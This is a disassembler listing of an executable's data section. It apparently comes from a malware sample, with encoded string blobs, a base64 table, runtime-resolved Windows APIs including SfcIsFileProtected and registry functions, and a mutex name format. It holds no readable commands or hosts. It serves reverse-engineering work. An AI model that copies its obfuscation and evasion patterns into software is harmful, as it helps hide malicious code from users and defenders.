dword_44A28C	dd 6			; DATA XREF: sub_43858C+166r
					; sub_43858C+713r ...
dword_44A290	dd 1			; DATA XREF: sub_43C507+Ar
					; sub_43C507+1Ew ...
dword_44A294	dd 77E60000h		; DATA XREF: sub_43A105+Cr
					; sub_43A105+28r ...
dword_44A298	dd 73D90000h		; DATA XREF: sub_43EF62+13w
					; sub_43EF62+2Ew ...
dword_44A29C	dd 77D40000h		; DATA XREF: sub_439DDE+13w
					; sub_439DDE+2Ew ...
dword_44A2A0	dd 77C70000h		; DATA XREF: sub_43B4B3+13w
					; sub_43B4B3+2Ew ...
dword_44A2A4	dd 771B0000h		; DATA XREF: sub_43B3CC+13w
					; sub_43B3CC+2Ew ...
dword_44A2A8	dd 77120000h		; DATA XREF: sub_4394DD+13w
					; sub_4394DD+2Ew ...
dword_44A2AC	dd 76BB0000h		; DATA XREF: sub_44029C:loc_440418r
					; sub_440D4B+13w ...
dword_44A2B0	dd 76C60000h		; DATA XREF: sub_43969E+13w
					; sub_43969E+2Ew ...
dword_44A2B4	dd 773D0000h		; DATA XREF: sub_43C26E+13w
					; sub_43C26E+2Ew ...
dword_44A2B8	dd 77DD0000h		; DATA XREF: sub_43C1C6+13w
					; sub_43C1C6+2Ew ...
off_44A2BC	dd offset aAbcdefghijklmn ; DATA XREF: sub_43F932:loc_43F9B3r
					; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
dword_44A2C0	dd 0E860h, 0E9610000h, 2 dup(0)	; DATA XREF: sub_440F46+A4Co
dword_44A2D0	dd 11h,	0Fh dup(0)	; DATA XREF: sub_439DC4+8o
dword_44A310	dd 0E1F7EEA5h, 0BFFD7E2Ch, 869AE87Fh, 0CC244082h, 0D76ADDE2h
					; DATA XREF: sub_439DC4+3o
		dd 1B77E1E1h, 505215B0h, 0D24B6456h, 3D357C6Bh,	280E85D5h
		dd 1AB051F9h, 1E4E8744h, 0E383CCDFh, 323D4737h,	14F80518h
		dd 6E0637BFh
dword_44A350	dd 0			; DATA XREF: sub_43AF47+2F1w
					; sub_43AF47+395w ...
off_44A354	dd offset sub_440CD0	; DATA XREF: sub_43C5EA+5C3o
		dd offset sub_43EF4B
		dd offset sub_43EBBF
		dd offset sub_43C1A7
		dd offset sub_43F9EE
		dd offset sub_440294
		dd offset sub_43CE89
dword_44A370	dd 0			; DATA XREF: sub_439B7B+FEw
					; sub_43A974+10r ...
off_44A374	dd offset sub_4395B8	; DATA XREF: .data:off_44A390o
		dd offset sub_4395A1
		dd offset sub_440EC1
		dd offset sub_43CC7F
		dd offset sub_439DBC
		dd offset sub_43C06B
		dd offset sub_440EE8
off_44A390	dd offset off_44A374	; DATA XREF: sub_439857+B8o
					; sub_43D6B1+138o
dword_44A394	dd 0			; DATA XREF: sub_439857+2Fr
					; sub_439857+6Cr ...
off_44A398	dd offset sub_43C48C	; DATA XREF: .data:off_44A3B4o
		dd offset sub_43C1AF
		dd offset sub_43CE60
		dd offset sub_43EF43
		dd offset sub_43B61A
		dd offset sub_439633
		dd offset sub_439857
off_44A3B4	dd offset off_44A398	; DATA XREF: sub_43D6B1:loc_43D869o
dword_44A3B8	dd 0FFFFFFFFh		; DATA XREF: sub_438348+3Ar
		dd 2Ah dup(0FFFFFFFFh),	3Eh, 3 dup(0FFFFFFFFh),	3Fh, 34h
		dd 35h,	36h, 37h, 38h, 39h, 3Ah, 3Bh, 3Ch, 3Dh,	7 dup(0FFFFFFFFh)
		dd 0
		dd 1, 2, 3, 4, 5, 6, 7,	8, 9, 0Ah, 0Bh,	0Ch, 0Dh, 0Eh
		dd 0Fh,	10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h,	18h, 19h
		dd 6 dup(0FFFFFFFFh), 1Ah, 1Bh,	1Ch, 1Dh, 1Eh, 1Fh, 20h
		dd 21h,	22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h,	2Ah, 2Bh
		dd 2Ch,	2Dh, 2Eh, 2Fh, 30h, 31h, 32h, 33h, 85h dup(0FFFFFFFFh)
off_44A7B8	dd offset loc_4383BF	; DATA XREF: sub_438348+70r
		dd offset loc_4383C7
		dd offset loc_43840D
		dd offset loc_43844B
aCreatethread	db 'CreateThread',0     ; DATA XREF: sub_43A5C3+2E8o
aEntercriticals	db 'EnterCriticalSection',0 ; DATA XREF: sub_43A5C3+2FBo
aInitializecrit	db 'InitializeCriticalSection',0 ; DATA XREF: sub_43A5C3+30Eo
aLeavecriticals	db 'LeaveCriticalSection',0 ; DATA XREF: sub_43A5C3+322o
		align 4
dword_44A81C	dd 2ED40000h, 61746164h	; DATA XREF: sub_440F46+7E7o
		db 0
byte_44A825	db 4, 0, 0F2h		; DATA XREF: sub_440DA6+55o
aUb_0		db 'ܜ',0
byte_44A82D	db 1, 0, 9Ch		; DATA XREF: sub_440DA6+29o
		db 0C0h, 0
word_44A832	dw 0			; DATA XREF: sub_440D4B+3Co
aPsfcisfileprot	db 'SfcIsFileProtected',0
dword_44A848	dd 738B0000h, 642E6366h	; DATA XREF: sub_440D4B+1Co
		db 2 dup(6Ch), 0
byte_44A853	db 0			; DATA XREF: sub_440D4B+1o
		dd 6673A200h, 6C642E63h
		db 6Ch,	0
word_44A85E	dw 4			; DATA XREF: sub_440B97+56o
aS?_0		db 'S}=? ',0
word_44A866	dw 1			; DATA XREF: sub_440B97+2Ao
		db 0CBh, 97h, 0
byte_44A86B	db 4			; DATA XREF: sub_440AF2+6Fo
		dd 5F547100h
		db 43h,	29h, 0
byte_44A873	db 1			; DATA XREF: sub_440AF2:loc_440B4Fo
		dd 89AC00h
dword_44A878	dd 40650002h		; DATA XREF: sub_440AF2:loc_440B30o
		db 6, 0
word_44A87E	dw 1			; DATA XREF: sub_440511+306o
		db 4Ch,	6Fh, 0
byte_44A883	db 1			; DATA XREF: sub_440511+2B4o
		dd 0F3D000h
dword_44A888	dd 0D9FA0001h		; DATA XREF: sub_440511+236o
		db 0
byte_44A88D	db 7, 0, 0E1h		; DATA XREF: sub_440511+212o
aIxxs		db '',0
dword_44A898	dd 9FBC0001h		; DATA XREF: sub_440511+1D0o
		db 0
byte_44A89D	db 7, 0, 43h		; DATA XREF: sub_440511:loc_440632o
a773yll		db '+773yll',0
dword_44A8A8	dd 0F596042Bh, 0FEF5F3FEh, 0E4E6F8F3h, 0B8E5E5F3h, 0F9F0F8FFh
					; DATA XREF: sub_440511+10o
		dd 0FAF9F1B5h, 0FAF9E6F2h, 0F9F5B8FAh, 0F8FFB5FBh, 0FAF9F1E2h
		dd 0F9F5B8F2h, 0E1E1B5FBh, 0F4F5B8E1h, 0E3E4B8E4h, 0E1E1E1B5h
		dd 0F5F9E5B8h, 0F7B8E5FDh, 0E2E5B5F5h, 0E6FBE4F9h, 0F5B8EFF7h
		dd 0F5B5FBF9h, 0F9E2E3E4h, 0E3F8B8E6h, 0E1F3F8B5h, 0F1F1F3B8h
		dd 0FBF9F5B8h, 0E1E1E1B5h, 0F8F9E6B8h, 0F5E5FFECh, 0B8E5FBF7h
		dd 0B5FBF9F5h, 0F5FAF3E1h, 0A5F3FBF9h, 0FFFBE5B8h, 0F5B8F3FAh
		dd 0FDE3B8F9h, 0F4FAF9B5h, 0F7F8B8A4h, 0F8F9FFE2h, 0F5B8E2F3h
		dd 0E1B5FBF9h, 0F4B8E1E1h, 0B8F8FFF4h, 0FBB5E3E4h, 0F3E2E5F7h
		dd 0B8EEBBE4h, 0B5FBF9F5h, 0B8E1E1E1h, 0ECF8F9E6h, 0F7F5E5FFh
		dd 0F5B8E5FBh, 0E1B5FBF9h, 0F4B8E1E1h, 0BBFDF8F7h, 0E7F8F7F4h
		dd 0F5BBF3E3h, 0F2F7F8F7h, 0F7F5B8F7h, 0E1E1E1B5h, 0F8F9E6B8h
		dd 0F5E5FFECh, 0B8E5FBF7h, 0B5FBF9F5h, 0B8E1E1E1h, 0B8F9FBF4h
		dd 0B5FBF9F5h, 0E6EFF7E6h, 0F5B8FAF7h, 0F3B5FBF9h, 0B8EFF7F4h
		dd 0B5FBF9F5h, 0B8E1E1E1h, 0FDF8F7F4h, 0F7FBF0F9h, 0F7E4E3F2h
		dd 0FBF9F5B8h, 0E1E1E1B5h, 0F4FFF5B8h, 0F9F5B8F5h, 0E1E1B5FBh
		dd 0E2E0B8E1h, 0E3E4B8F4h, 0E1E1E1B5h, 0F4E1F5B8h, 0B8FDF8F7h
		dd 0B5FBF9F5h, 0F2FAF9F1h, 0FAFAF9E6h, 0FBF9F5B8h, 0E1E1E1B5h
		dd 0F8F9E6B8h, 0F5E5FFECh, 0B8E5FBF7h, 0B5FBF9F5h, 0B8E1E1E1h
		dd 0F7F4FBFBh, 0E4B8FDF8h, 0E1E1B5E3h, 0F8E3B8E1h, 0E2E5F7FFh
		dd 0B8FBE3E4h, 0F1B5E3E4h, 0E6F2FAF9h, 0B8FAFAF9h, 0B5FBF9F5h
		dd 0B8E1E1E1h, 0ECF8F9E6h, 0F7F5E5FFh, 0F5B8E5FBh, 0E1B5FBF9h
		dd 0E1B8E1E1h, 0F2FAE4F9h, 0FDF8F7F4h, 0F1E4F9B8h, 0E1E1E1B5h
		dd 0F8F7F5B8h, 0F7F2FFF2h, 0F3E0F3E2h, 0FFF0FFE4h, 0F5B8E4F3h
		dd 0E1B5FBF9h, 0E6B8E1E1h, 0FFECF8F9h, 0FBF7F5E5h, 0F9F5B8E5h
		dd 0E1E1B5FBh, 0F7F4B8E1h, 0F0F9FDF8h, 0FFF2F8FFh, 0F9F5B8F7h
		dd 0E1E1B5FBh, 0F5FFB8E1h, 0FDF8F7F4h, 0B5E3E4B8h, 0FDF8F7F4h
		dd 0B8F1F8FFh, 0FFFAF7FEh, 0BBEEF7F0h, 0FFFAF8F9h, 0F5B8F3F8h
		dd 0FDE3B8F9h, 0E1E1E1B5h, 0F8F3E0B8h, 0E5E4F9F2h, 0F3FBF7F8h
		dd 0B5E5E1B8h, 0B8E1E1E1h, 0B8F4FBFDh, 0E1B5E3E4h, 0F8B8E1E1h
		dd 0F7FBE2F3h, 0E2E5FFF1h, 0F5B8E4F3h, 0FDB5FBF9h, 0F7FDE0F7h
		dd 0F8F3F5ECh, 0B8E4F3E2h, 0B5FBF9F5h, 0B8E1E1E1h, 0F2F8F3E0h
		dd 0F8E5E4F9h, 0B8F3FBF7h, 0FBB5E5E1h, 0FAF8F9EFh, 0F7F3F8FFh
		dd 0E3F9F5F5h, 0A4E5E2F8h, 0F4F4F7B8h, 0F7F8EFF3h, 0F8F9FFE2h
		dd 0F5B8FAF7h, 0FDE3B8F9h, 0FAF8F9B5h, 0BBF3F8FFh, 0FFE5E3F4h
		dd 0E5E5F3F8h, 0F9FAFAB8h, 0E2E5F2EFh, 0F5B8F4E5h, 0FDE3B8F9h
		dd 0E1E1E1B5h, 0FAFAF7B8h, 0F4F7FEF7h, 0F7F4F2F7h, 0F5B8FDF8h
		dd 0E1B5FBF9h, 0E4B8E1E1h, 0F5B8F5F4h, 0E1B5FBF9h, 0E6B8E1E1h
		dd 0FFECF8F9h, 0FBF7F5E5h, 0F9F5B8E5h, 0E1E1B5FBh, 0FEB8A7E1h
		dd 0B8F5F4E5h, 0FDB5F7F5h, 0F3E4F4F1h, 0F5EEF7FAh, 0B8F4E3FAh
		dd 0EFB5E3E4h, 0F9F4FBF7h, 0ECFFF4B8h, 0F2FFFDB5h, 0F4BBE5F9h
		dd 0B8FDF8F7h, 0E1B5E3E4h, 0FAB8E1E1h, 0FFF2F5F4h, 0E2F5F3E4h
		dd 0E3F7FAB8h, 0E2F8F3E4h, 0F4F8F7FFh, 0B8FDF8F7h, 0F4B5F7F5h
		dd 0FAF5E4F7h, 0B8E5EFF7h, 0B5FBF9F5h, 0F7E2F9E2h, 0F0EFFAFAh
		dd 0F4F3F3E4h, 0FFFDF8F7h, 0F5B8F1F8h, 0E1B5FBF9h, 0F8B8E1E1h
		dd 0F5B8F5F4h, 0A5A3B5F7h, 0FDF8F7F4h, 0FBF9F5B8h, 0E1E1E1B5h
		dd 0F8F3E0B8h, 0E5E4F9F2h, 0F3FBF7F8h, 0B5E5E1B8h, 0B8E1E1E1h
		dd 0BBF4A4F4h, 0E5E3E4E2h, 0F9F5B8E2h, 0E1E1B5FBh, 0F3E0B8E1h
		dd 0E4F9F2F8h, 0FBF7F8E5h, 0E5E1B8F3h, 0F3E6F9B5h, 0F8F7F4F8h
		dd 0F9F5B8FDh, 0F7E2B5FBh, 0F3F8BBE2h, 0F7F4E2F0h, 0E4B8FDF8h
		dd 0F3E5B5E3h, 0F4F7FAF5h, 0B5E3E4B8h, 0E3F5F3E5h, 0EFE2FFE4h
		dd 0B8F4F7FAh, 0F0B5E3E4h, 0F7FEE2F3h, 0F4B8F2E4h, 0F1B5ECFFh
		dd 0EEF8F9E4h, 0F8F7FAE6h, 0B8E5E2F3h, 0E0B5E3E4h, 0F9F2F8F3h
		dd 0F7F8E5E4h, 0E1B8F3FBh, 0B5E5h
dword_44ACD8	dd 4, 0F000B2h,	0F600FDh, 0EBh ; DATA XREF: sub_44006A+27o
dword_44ACE8	dd 3E1E0001h		; DATA XREF: sub_43F9F6:loc_43FEDEo
		db 0
byte_44ACED	db 2 dup(0), 15h	; DATA XREF: sub_43F9F6+49Fo
		db 0
byte_44ACF1	db 13h,	0, 47h		; DATA XREF: sub_43F9F6+47Ao
		db  12h
aG3G235__0	db ')&%+"g3(g&23/(5.="',0
a5_0		db '5',0                ; DATA XREF: sub_43F9F6+46Ao
		dw 0A2F7h
aScxitGsCvgqseu	db '׃ז׾קקה',0
byte_44AD41	db 1, 0, 0A3h		; DATA XREF: sub_43F9F6:loc_43FCADo
		db 8Eh,	0
word_44AD46	dw 1Eh			; DATA XREF: sub_43F9F6+272o
		db  0Ch
		db 5Ch,	60h, 69h
		db  6Dh	; m
		db 7Fh,	69h, 20h
		db  2Ch	; ,
		db 7Fh,	69h, 60h
aIoxItEMxecbU_0	db 'iox,It|e~mxecb,Uim~',0
dword_44AD68	dd 10300001h		; DATA XREF: sub_43F9F6:loc_43FBF9o
		db 0
byte_44AD6D	db 1Fh,	0, 9Ah		; DATA XREF: sub_43F9F6+1BEo
		dd 0FBFFF6CAh, 0BAB6FFE9h, 0FFF6FFE9h, 0DFBAEEF9h, 0E8F3EAE2h
		dd 0F5F3EEFBh, 0F5D7BAF4h, 0F2EEF4h
dword_44AD90	dd 77520004h, 0A6A62h	; DATA XREF: sub_43F85A+69o
dword_44AD98	dd 5C100000h		; DATA XREF: sub_43F5E2+2Do
		db 0
byte_44AD9D	db 1, 0, 0F8h		; DATA XREF: sub_43F3B6+1B0o
		db 0D2h, 0
word_44ADA2	dw 4			; DATA XREF: sub_43F3B6+95o
		db ')-)))',0
asc_44ADAA	db 9,0			; DATA XREF: sub_43F189+16Bo
		dd 0F123060h, 14031504h
		db 29h,	4, 0
byte_44ADB7	db 29h			; DATA XREF: sub_43F189+15Bo
		dd 9C80D300h, 92848795h, 9E8F9681h, 0BCA1B0BAh,	0A7B5BCA0h
		dd 0BDBA848Fh, 0A0A4BCB7h, 0A1A6908Fh, 0A7BDB6A1h, 0A0A1B685h
		dd 0BDBCBAh
dword_44ADE4	dd 755B0001h		; DATA XREF: sub_43F189+13Fo
		db 0
byte_44ADE9	db 4, 0, 65h		; DATA XREF: sub_43F189+DAo
aH@K		db 'H@=K',0
byte_44ADF1	db 3, 0, 8Bh		; DATA XREF: sub_43F189+9Co
		dd 0D7B1E8h
dword_44ADF8	dd 0ECC90008h, 0BCECE7BCh, 0BCECE7h ; DATA XREF: sub_43F189:loc_43F1EDo
dword_44AE04	dd 612F0002h		; DATA XREF: sub_43F189+4Fo
		db 7Bh,	0
word_44AE0A	dw 2			; DATA XREF: sub_43F189+31o
		dd 86E7DEh
dword_44AE10	dd 73150000h, 70637274h	; DATA XREF: sub_43EF62+19Fo
		db 79h,	0
word_44AE1A	dw 0			; DATA XREF: sub_43EF62+183o
aVsprintf	db 'vsprintf',0
word_44AE26	dw 0			; DATA XREF: sub_43EF62+167o
aZsprintf	db 'sprintf',0
byte_44AE31	db 2 dup(0), 0B6h	; DATA XREF: sub_43EF62+14Bo
aStrcat		db 'strcat',0
byte_44AE3B	db 0			; DATA XREF: sub_43EF62+12Fo
		dd 72731B00h, 646E61h
dword_44AE44	dd 72C00000h, 646E61h	; DATA XREF: sub_43EF62+113o
dword_44AE4C	dd 6D100000h, 65736D65h	; DATA XREF: sub_43EF62+F7o
		db 74h,	0
word_44AE56	dw 0			; DATA XREF: sub_43EF62+DBo
a4memcpy	db '4memcpy',0
dword_44AE60	dd 6D930000h, 6D636D65h	; DATA XREF: sub_43EF62+BFo
		db 70h,	0
word_44AE6A	dw 0			; DATA XREF: sub_43EF62+A3o
aTmalloc	db 'tmalloc',0
dword_44AE74	dd 66CD0000h, 656572h	; DATA XREF: sub_43EF62+87o
dword_44AE7C	dd 61C20000h, 696F74h	; DATA XREF: sub_43EF62+6Bo
dword_44AE84	dd 74E50000h, 7070756Fh	; DATA XREF: sub_43EF62+4Fo
		db 65h,	72h, 0
byte_44AE8F	db 0			; DATA XREF: sub_43EF62:loc_43EF95o
		dd 735F1400h, 7065656Ch
		db 0
byte_44AE99	db 2 dup(0), 0Eh	; DATA XREF: sub_43EF62+1Co
aCrtdll_dll	db 'crtdll.dll',0
byte_44AEA7	db 0			; DATA XREF: sub_43EF62+1o
		dd 7263E200h, 6C6C6474h, 6C6C642Eh
		db 0
byte_44AEB5	db 2 dup(0), 20h	; DATA XREF: sub_43EC0A+1EBo
aKkqVx_0	db 'kkq-vx',0
byte_44AEBF	db 0			; DATA XREF: sub_43EC0A+1DBo
		dd 6B6B6D00h, 78762D71h
		db 0
byte_44AEC9	db 2 dup(0), 0C3h	; DATA XREF: sub_43EC0A+15Do
aKkqVx_1	db 'kkq-vx',0
byte_44AED3	db 0			; DATA XREF: sub_43EC0A+F3o
		dd 6B6B1C00h, 78762D71h
		db 0
byte_44AEDD	db 2 dup(0), 7		; DATA XREF: sub_43EC0A+E3o
aS_mtxU		db '%s_mtx%u',0
byte_44AEE9	db 2 dup(0), 0D0h	; DATA XREF: sub_43EC0A+B1o
aKkqVx_2	db 'kkq-vx',0
byte_44AEF3	db 0			; DATA XREF: sub_43EC0A+A1o
		dd 7325CC00h, 78746D5Fh
		db 31h,	0
word_44AEFE	dw 16h			; DATA XREF: sub_43DB8B+DF2o
aTbolbiNmbzNB_0	db '⡎­¶¡',0
dword_44AF18	dd 7A380006h, 776C6C6Dh	; DATA XREF: sub_43DB8B+DE2o
		db 76h,	0
word_44AF22	dw 1Eh			; DATA XREF: sub_43DB8B+D44o
		dd 545C4104h, 5045564Dh, 244A4B4Dh, 41504540h, 450E0E0Eh
		dd 54244950h, 47244A4Dh, 41404Bh
dword_44AF44	dd 580B0006h, 425F4A5Fh	; DATA XREF: sub_43DB8B+D34o
		db 48h,	0
word_44AF4E	dw 0			; DATA XREF: sub_43DB8B+C74o
		db 0B8h, 0
word_44AF52	dw 4			; DATA XREF: sub_43DB8B+C64o
aIcl_0		db 'ߚ',0
word_44AF5A	dw 6			; DATA XREF: sub_43DB8B+BDFo
		dd 0E0F5F7C5h, 0B0F7EBh
dword_44AF64	dd 0A0850004h, 0F0B7ABh	; DATA XREF: sub_43DB8B:loc_43E710o
dword_44AF6C	dd 0B40000h		; DATA XREF: sub_43DB8B+ABCo
dword_44AF70	dd 16550008h, 1A17181Ah, 0D1A17h ; DATA	XREF: sub_43DB8B+AACo
dword_44AF7C	dd 8E0000h		; DATA XREF: sub_43DB8B+9FAo
dword_44AF80	dd 5A190008h, 565B5456h, 41565Bh ; DATA	XREF: sub_43DB8B+9EAo
dword_44AF8C	dd 41120006h, 5B465346h	; DATA XREF: sub_43DB8B+8DDo
		db 51h,	0
word_44AF96	dw 6Eh			; DATA XREF: sub_43DB8B:loc_43E442o
		db  43h	; C
		db 16h,	2Dh, 22h
		db  21h	; !
		db 2Fh,	26h, 63h
		db  37h	; 7
		db 2Ch,	63h, 22h
		db  36h	; 6
		db 37h,	2Bh, 2Ch
		db  31h	; 1
		db 2Ah,	39h, 26h
		db  6Dh	; m
		db 49h,	66h, 30h
		db  63h	; c
		db 33h,	31h, 2Ch
		db  20h
		db 26h,	2 dup(30h)
		db  2Ah	; *
		db 2Dh,	24h, 63h
		db  20h
		db 26h,	2Dh, 37h
		db  26h	; &
		db 31h,	63h, 2Ah
		db  30h	; 0
		db 63h,	36h, 2Dh
		db  22h	; "
		db 21h,	2Fh, 26h
		db  63h	; c
		db 37h,	2Ch, 63h
		db  22h	; "
		db 36h,	37h, 2Bh
		db  2Ch	; ,
		db 31h,	2Ah, 39h
		db  26h	; &
		db 63h,	3Ah, 2Ch
		db  36h	; 6
		db 31h,	63h, 20h
		db  22h	; "
		db 31h,	27h, 63h
		db  66h	; f
		db 30h,	6Dh, 49h
		db  0Eh
aC1170cC71CM_0	db '"(&c ,11& 7*,-0c"-',27h,'c71:c"$"*-m',0
aM_0:					; DATA XREF: sub_43DB8B:loc_43E42Ao
		dw 0Ah
		unicode	0, <M>
		dd 28393E2Ch, 3F2C0E3Fh
		db 29h,	0
word_44B016	dw 4			; DATA XREF: sub_43DB8B+885o
		dd 0E140B5Dh
		db 1Ch,	0
word_44B01E	dw 1			; DATA XREF: sub_43DB8B+7C2o
		db 42h,	62h, 0
byte_44B023	db 6			; DATA XREF: sub_43DB8B+7B2o
		dd 2D2A7900h, 3A302D38h
		db 0
byte_44B02D	db 2 dup(0), 92h	; DATA XREF: sub_43DB8B+690o
		db 0
byte_44B031	db 6, 0, 76h		; DATA XREF: sub_43DB8B+680o
a7?5		db '%"7"?5',0
byte_44B03B	db 15h			; DATA XREF: sub_43DB8B+5F8o
		db    0
aFlfff6455F_0	db 'flFFF64)%#55/(!F ',27h,'/*#"',0
dword_44B054	dd 0D5E0006h, 170A1F0Ah	; DATA XREF: sub_43DB8B+5E8o
		db 1Dh,	0
word_44B05E	dw 6			; DATA XREF: sub_43DB8B+4D9o
aB3o4_0		db 'B))3o4:',0
asc_44B068	db 8,0			; DATA XREF: sub_43DB8B+46Eo
aIAgI_0		db '̉',0
asc_44B074	db 9,0			; DATA XREF: sub_43DB8B:loc_43DFDDo
		dw 0C480h
		dd 0E2CFE3EFh, 0F4E3E5EAh
		db 0
byte_44B081	db 0Eh,	0, 0D4h		; DATA XREF: sub_43DB8B+426o
aAGGcZz_0	db '',0
byte_44B093	db 4			; DATA XREF: sub_43D8DE+56o
		dd 0F4B49A00h
		db 0F6h, 0E9h, 0
byte_44B09B	db 1			; DATA XREF: sub_43D8DE+2Ao
		dd 0FBA700h
dword_44B0A0	dd 25030000h, 5C732573h	; DATA XREF: sub_43D357+31Co
		db 0
byte_44B0A9	db 5, 0, 2Bh		; DATA XREF: sub_43D357+2ABo
		dd 580E580Eh
		db 77h,	0
word_44B0B2	dw 0			; DATA XREF: sub_43D357+C1o
aUS		db '%s*',0
byte_44B0B9	db 4, 0, 8Fh		; DATA XREF: sub_43D357+73o
aK_0		db '',0
		align 4
asc_44B0C4:				; DATA XREF: sub_43D058+1D2o
		dw 9
		unicode	0, <>,0
aZagkAalb:
		unicode	0, <ŧ>,0
a_		db '_',0                ; DATA XREF: sub_43D058+12Ao
aIu_iTyi_TyiT_0	db 'Iu $.i> -=!tyi!, .!=tyi+&;-,;tyi:;*t!==9sffl:v!tl:o tl<l:o&tl<o/t'
		db 'l*o: tl:o:&tl<o=%tl<o?tl<o-tl:w',0
asc_44B141	db ',',0                ; DATA XREF: sub_43D058+D5o
aBAAnaAnaAnaA_0	db 'ڝՀɀπހΒۀރ',0
asc_44B171	db 7,0			; DATA XREF: sub_43D058+67o
aNPnuP_0	db 'ӏӏ',0
dword_44B17C	dd 417A0003h		; DATA XREF: sub_43C5EA+2F6o
		db 15h,	47h, 0
byte_44B183	db 4			; DATA XREF: sub_43C5EA:loc_43C852o
		dd 337B4000h
		db 2Fh,	7Dh, 0
byte_44B18B	db 4			; DATA XREF: sub_43C5EA+22Do
		dd 0ACF3C800h, 0E2F5h
dword_44B194	dd 3, 0F0046h, 1000Bh	; DATA XREF: sub_43C5EA+16o
		db 2 dup(0)
word_44B1A2	dw 0			; DATA XREF: sub_43C26E:loc_43C2A1o
aShgetfolderpat	db 'SHGetFolderPathA',0
asc_44B1B6	db 0Bh,0		; DATA XREF: sub_43C26E+1Co
aMQuv		db '',0
byte_44B1C5	db 2 dup(0), 0Eh	; DATA XREF: sub_43C26E+1o
aShell32_dll	db 'shell32.dll',0
dword_44B1D4	dd 47020000h, 73557465h, 614E7265h, 41656Dh ; DATA XREF: sub_43C1C6+87o
dword_44B1E4	dd 520B0000h, 6C436765h, 4B65736Fh ; DATA XREF:	sub_43C1C6+6Bo
		db 65h,	79h, 0
byte_44B1F3	db 0			; DATA XREF: sub_43C1C6+4Fo
		dd 6552EF00h, 65755167h, 61567972h, 4565756Ch
		db 78h,	41h, 0
byte_44B207	db 0			; DATA XREF: sub_43C1C6:loc_43C1F9o
		dd 65529B00h, 65704F67h, 79654B6Eh, 417845h
dword_44B218	dd 6607000Ch, 77667163h, 2935346Eh, 6B6B63h ; DATA XREF: sub_43C1C6+1Co
dword_44B228	dd 618E0000h, 70617664h, 2E323369h, 6C6C64h ; DATA XREF: sub_43C1C6+1o
dword_44B238	dd 5C970000h		; DATA XREF: sub_43BD90:loc_43C02Do
		db 0
byte_44B23D	db 5, 0, 6Fh		; DATA XREF: sub_43BA75+2C8o
		dd 4A331C4Ah
		db 1Ch,	0
word_44B246	dw 5			; DATA XREF: sub_43BA75+25Ao
		dd 230C5A7Fh
		db 5Ah,	0Ch, 0
byte_44B24F	db 4			; DATA XREF: sub_43BA75+17o
		dd 0F8AE8B00h
		db 0D7h, 0A1h, 0
byte_44B257	db 4			; DATA XREF: sub_43B982+55o
		dd 98D8F600h
		db 9Ah,	85h, 0
byte_44B25F	db 1			; DATA XREF: sub_43B982+29o
		dd 792500h
dword_44B264	dd 450C0011h, 7E697862h, 2C786962h, 607C7449h, 7E697E63h
					; DATA XREF: sub_43B912+24o
		db 0
off_44B279	dd offset loc_43FFFE+2	; DATA XREF: sub_43B622:loc_43B8A9o
byte_44B27D	db 1, 0, 55h		; DATA XREF: sub_43B622:loc_43B831o
		db 2Dh,	0
word_44B282	dw 0			; DATA XREF: sub_43B523:loc_43B57Fo
		db 0E4h, 0
word_44B286	dw 0			; DATA XREF: sub_43B4B3+4Fo
aGetstockobject	db 'GetStockObject',0
dword_44B298	dd 43B00000h, 74616572h, 6E6F4665h ; DATA XREF:	sub_43B4B3:loc_43B4E6o
		db 74h,	41h, 0
byte_44B2A7	db 9			; DATA XREF: sub_43B4B3+1Co
		dd 292A4D00h, 637F7E24h, 212129h
dword_44B2B4	dd 67D70000h, 32336964h, 6C6C642Eh ; DATA XREF:	sub_43B4B3+1o
		db 0
byte_44B2C1	db 2 dup(0), 0BFh	; DATA XREF: sub_43B3CC+A3o
aIsequalguid	db 'IsEqualGUID',0
dword_44B2D0	dd 436F0000h, 696E556Fh, 6974696Eh, 7A696C61h ;	DATA XREF: sub_43B3CC+87o
		db 65h,	0
word_44B2E2	dw 0			; DATA XREF: sub_43B3CC+6Bo
aCoinitialize	db 'CoInitialize',0
word_44B2F2	dw 0			; DATA XREF: sub_43B3CC+4Fo
		dd 436F43F7h, 74616572h, 736E4965h, 636E6174h
		db 65h,	0
word_44B306	dw 0			; DATA XREF: sub_43B3CC:loc_43B3FFo
aClsidfromstrin	db 'CLSIDFromString',0
byte_44B319	db 2 dup(0), 61h	; DATA XREF: sub_43B3CC+1Co
aOle32_dll	db 'ole32.dll',0
word_44B326	dw 0			; DATA XREF: sub_43B3CC+1o
aOle32_dll_0	db 'ole32.dll',0
byte_44B333	db 4			; DATA XREF: sub_43AF47+3D6o
		dd 0C08AA400h
		db 0C5h, 0D0h, 0
byte_44B33B	db 17h			; DATA XREF: sub_43ABE3:loc_43ADD7o
		dd 4C0A2F00h, 4C0A4C0Ah, 0A024C0Ah, 2 dup(0A4C0A4Ch), 404C014Ch
		db 42h,	0
word_44B356	dw 16h			; DATA XREF: sub_43ABE3+1AEo
		dd 12541237h, 12541254h, 1A541254h, 2 dup(54125412h), 424519h
dword_44B370	dd 474C0000h, 6F4C7465h, 656C6163h, 6F666E49h ;	DATA XREF: sub_43A105+499o
		db 41h,	0
word_44B382	dw 0			; DATA XREF: sub_43A105+47Do
aNgetversionexa	db 'GetVersionExA',0
byte_44B393	db 0			; DATA XREF: sub_43A105+461o
		dd 6946C500h, 6954656Ch, 6F54656Dh, 74737953h, 69546D65h
		db 6Dh,	65h, 0
byte_44B3AB	db 0			; DATA XREF: sub_43A105+445o
		dd 6F43A600h, 7261706Dh, 6C694665h, 6D695465h
		db 65h,	0
word_44B3BE	dw 0			; DATA XREF: sub_43A105+429o
aTgetvolumeinfo	db 'tGetVolumeInformationA',0
byte_44B3D7	db 0			; DATA XREF: sub_43A105+40Do
		dd 6E497B00h, 6C726574h, 656B636Fh, 63654464h, 656D6572h
		db 6Eh,	74h, 0
byte_44B3EF	db 0			; DATA XREF: sub_43A105+3F1o
		dd 6E49DF00h, 6C726574h, 656B636Fh, 636E4964h, 656D6572h
		db 6Eh,	74h, 0
byte_44B407	db 0			; DATA XREF: sub_43A105+3D5o
		dd 65477600h, 73795374h, 446D6574h, 63657269h, 79726F74h
		db 41h,	0
word_44B41E	dw 0			; DATA XREF: sub_43A105+3B9o
aAgetmodulefile	db 'GetModuleFileNameA',0
dword_44B434	dd 4FE50000h, 4D6E6570h, 78657475h ; DATA XREF:	sub_43A105+39Do
		db 41h,	0
word_44B442	dw 0			; DATA XREF: sub_43A105+381o
aScreatemutexa	db 'CreateMutexA',0
